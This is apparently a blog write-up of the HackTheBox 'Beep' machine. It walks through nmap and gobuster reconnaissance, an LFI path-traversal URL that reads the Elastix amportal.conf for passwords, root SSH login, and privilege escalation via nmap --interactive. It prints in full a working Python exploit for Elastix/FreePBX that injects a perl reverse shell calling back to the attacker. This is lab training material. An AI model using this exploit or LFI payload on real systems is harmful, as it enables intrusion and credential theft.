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HackTheBox - Beep Writeup

HackTheBox - Beep Writeup

SH∆FIQ∆IM∆N SH∆FIQ∆IM∆N
January 21, 2022
1 min read
lfi rce ssh gobuster svwar/sipvicious GTFOBins python SUID elastix freepbx
index

Nmap

As always. I’m gonna run the Nmap scan against this IP address 10.10.10.7. Here is the result of the scan

the result

# Nmap 7.92 scan initiated Sun Jan 16 05:37:13 2022 as: nmap -sC -sV -p- -oN nmap/beep_all 10.10.10.7
Nmap scan report for 10.10.10.7
Host is up (0.056s latency).
Not shown: 65519 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp       Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: PIPELINING TOP APOP LOGIN-DELAY(0) EXPIRE(NEVER) UIDL USER STLS IMPLEMENTATION(Cyrus POP3 server v2) AUTH-RESP-CODE RESP-CODES
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            875/udp   status
|_  100024  1            878/tcp   status
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_imap-capabilities: RENAME OK THREAD=REFERENCES IMAP4rev1 SORT=MODSEQ ID X-NETSCAPE LIST-SUBSCRIBED ACL NAMESPACE CATENATE LISTEXT RIGHTS=kxte SORT NO QUOTA IDLE CONDSTORE IMAP4 ANNOTATEMORE THREAD=ORDEREDSUBJECT BINARY ATOMIC URLAUTHA0001 CHILDREN UNSELECT Completed UIDPLUS MULTIAPPEND LITERAL+ MAILBOX-REFERRALS STARTTLS
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2022-01-15T22:41:00+00:00; +1h00m01s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
878/tcp   open  status     1 (RPC #100024)
993/tcp   open  ssl/imap   Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       Cyrus pop3d
|_ssl-known-key: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
3306/tcp  open  mysql      MySQL (unauthorized)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax    HylaFAX 4.3.10
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix


Host script results:
|_clock-skew: 1h00m00s


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 16 05:42:46 2022 -- 1 IP address (1 host up) scanned in 332.87 seconds

that’s bunch of the open ports on this machine.

Webserver

This machine has apache running on port 80. When I visited the page it was redirected into port 443 which is the Elastix login page.

elastix login page

elastix login page

Gobuster

Well, I’m gonna run the gobuster on this webserver. Try to find any hidden directory on it. I’m gonna use the PHP as -x extension because this server running on PHP.

gobuster

gobuster

/admin

The /admin really does sound good to me. When I visited the admin page. It’s prompt me with login forms.

admin login prompt

admin login prompt

I try a bunch of passwords such as admin:admin but it doesn’t work. However, when I clicked the cancel button. It goes to this page https://10.10.10.7/admin/config.php and displays the Unauthorized message.

freepbx page

freepbx page

Local File Inclusion/LFI

This box has an LFI tag on it. I know it sounds not fair at all but information matters. So, I’m run the searchsploit and found this.

found exploit in searchsploit

found exploit in searchsploit

I’m gonna mirror/copy this exploit in my current directory with -m flag. Here is the exploit/PoC :

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

it’s basically, using current_language as the parameter. This PoC already includes the config file on it. I’m gonna copy/paste this in my browser and VOILA!

read config file

read config file

I managed to grab a bunch of passwords that appear in this file but a lot of passwords seem to be commented out. Just one password does not get commented out and appears more often in here.

Method: 1

SSH

The Nmap scan result shows us port 22 is open. Well, I’ve got the potential password and don’t know what users it belongs to. So, I’m gonna try my luck to go with the root user

Warning

Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

If you get one of these errors just like me. You need to run an ssh command like this

Tip
Terminal window
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]

source - Solution for SSH unable to Negotiate Errors

ssh as root

ssh as root

Finally, I login in as root through SSH. Let’s get the user and root flags.

the flag

flags

flags

Method: 2

RCE

The last exploit I’m using was LFI 'graph.php' and the version of Elastix was 2.2.0 and this RCE have the same version of Elastix.

freepbx rce

freepbx rce

As always, I’m gonna mirror/copy this exploit into my current working directory with the -m flag. When I ran the exploit it shows a bunch of errors regard to SSL. I tried fixing the error by changing the python code and it was painful but I managed to fix it. Here is the code:

18650.py3

18650.py
#!/usr/bin/python3
import ssl, urllib3


rhost = "10.10.10.7"
lhost = input("lhost>: ")
lport = input("lport>: ")
ext = input("ext>: ")
head = f"https://{rhost}/recordings/misc/callme_page.php?action=c&callmenum={ext}@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20"
payload = f"perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22{lhost}%3a{lport}%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'"
url = head + payload


# SSL Handler
urllib3.disable_warnings()
http = urllib3.PoolManager(cert_reqs="CERT_NONE")


# Execute
print("ExPl0itInG...")
http.request("GET", url)

svwar/SIPVicious

I ran the exploit one more time and it doesn’t work. I’m speechless and I saw the extension in the original script that set the value into 1000 and maybe this is not a valid extension. So, I’m gonna run the svwar/SIPVicious tool to identify a working extension.

I’m gonna run this command:

Terminal window
svwar -m INVITE -e100-400 10.10.10.7

find valid extension

find valid extension

Shell as Asterisk

Now, let’s run the exploit again and make sure to set up the Netcat listener first.

shell as asterisk

shell as asterisk

YES! it worked. Based on the comment in the original exploit, I can be a root user by using nmap --interactive. Let’s do it.

shell as root

shell as root

TADAA!! Now, I’m a root user.